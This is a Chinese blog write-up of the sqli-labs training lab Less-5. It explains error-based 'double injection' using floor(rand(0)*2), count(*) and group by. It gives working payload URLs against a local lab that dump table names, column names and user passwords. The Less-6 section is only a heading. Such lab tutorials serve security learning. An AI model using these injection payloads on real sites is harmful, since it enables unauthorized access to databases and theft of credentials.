第五关 Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
1.实验了一下前面几关方法,发现界面正确显示you are in 错误什么都不显示
2.判断注入类型,我们通过在1后面加' --+ 而界面没报错,可以判断出应该是单引号字符型注入
3.要使用的报错注入方法
报错注入方法有十多种,详细介绍可以去看:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
4.floor型报错注入(floor报错方法要用到count(*),group by ,rand()三者缺一不可)
1.函数的介绍
floor():向下取整
rand():生成0~1的随机数,如果是rand()*2则生成0~2的随机数,还可以和floor联合起来用
concat():将符合条件的同一列中的不同行数据进行拼接,0x7e是"~"的16进制
count(*)一般与group by联合起来用:count用来统计,group by用来依据我们想要的规矩对结果进行分组
2.使其报错
先使用order by 判断字段,一共三个字段,因为输入4报错
使用下面的句子有两种情况一种是爆出数据库,一种是正常
../Less-5/?id=-1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand()*2))x from information_schema.tables group by x --+
上面的写法是随机性的,而我们下面这种写法是一定会报错,在rand里面加个0
../Less-5/?id=-1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
3.为什么会报错了,为什么要这样写了,我们要先了解几个原理
rand()和rand(0)区别:rand里面加个0,0表示随机因子,也就是不管你怎么输rand(0)结果都是一样的。
为什么使用rand()报错是随机,而rand(0)一定会报错了,是不是说明报错语句有了floor(rand(0)*2)以及其他条件就一定报错,我们来实验一下。
由此证明floor(rand(0)*2)的报错是有条件的,记录数必须大于等于3条,3条以上必定报错
我们可以总结一下:floor(rand()*2):二条记录随机出错,floor(rand(0)*2):三条记录以上一定报错
我们再给zqy表多插入几条数据,在观察一下floor(rand()*2):从下图可以看出二次结果全不相同,没有一点规律
在观察一下floor(rand(0)*2) :二次结果一模一样,而且都是有规律的
了解了floor(rand(0)*2) 有规律后我们再来了解一下count与group by的虚拟表
可以看出test3的记录有6条,与count(*)的结果相符合,如果mysql遇到了select count(*) from zqy group by name;这种语句,会先建立一个虚拟表:
当开始查询数据时,从数据库中取出数据,看在虚拟表中是否有同样的记录,如果有,就在count(*)字段+1,如果没有就直接插入新记录:
floor(rand(0)*2)爆错原理
其实官方mysql给过提示,就是查询如果使用rand()的话,该值会被计算多次,也就是在使用group by 的时候,floor(rand(0)*2)会被执行一次,如果虚拟表中不存在记录,把数据插入虚拟表中时会再被执行一次。在上述描述中我们发现floor(rand(0)*2)的值具有确定性,为01101100111011,报错实际上是因为虚拟表中主键key被重复使用所导致,具体看一下select count(*) from zqy group by floor(rand(0)*2);
flood(rand()*2)爆错原理
由上述我们发现flood(rand()*2),具有随机性
最重要的是前面几条记录查询后不能让虚拟表存在0,1键值,如果存在了,那无论多少条记录都无法报错,应为floor(rand()*2)不会再被计算作为虚拟表的键值,这也就是为什么不加随机因子的时候会报错,有时候不报错:
4.根据第三点我们简单的了解报错的原理,下面我们开始注出数据
先来注出数据库下表,我们可以利用limit来控制输出第几行数据,limit函数第一个参数表示起始位置,第二个参数表示偏移量
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=-1' union select 1,count(*),3 from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e,floor(rand(0)*2)) --+
利用爆出来的表爆出表字段:通过下面的句子我们爆出users表下的字段名有id,username,password
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=-1' union select 1,count(*),3 from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e,floor(rand(0)*2)) --+
利用爆出来的表,字段,爆出数据,利用limit位移我们还可以爆出其他用户名账号
http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=-1' union select 1,count(*),3 from information_schema.tables group by concat(0x7e,(select concat(':',id,username,password) from users limit 0,1),0x7e,floor(rand(0)*2)) --+
第六关 Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
总结一下:写这一篇博客我大概写了3个多小时,查资料,看视频,然后把它们的内容经过自己的理解,写成了这篇博客,可能写的思路不是很清晰,内容很杂很混乱,但我真的尽力了。不管怎样,要是有什么地方讲错了的或者没注意到的地方欢迎大佬们斧正!
这是我借鉴的博客地址:https://www.cnblogs.com/bmjoker/p/8797027.html
这是我借鉴的视频地址:https://www.bilibili.com/video/BV124411c7h3?from=search&seid=13565982829788682418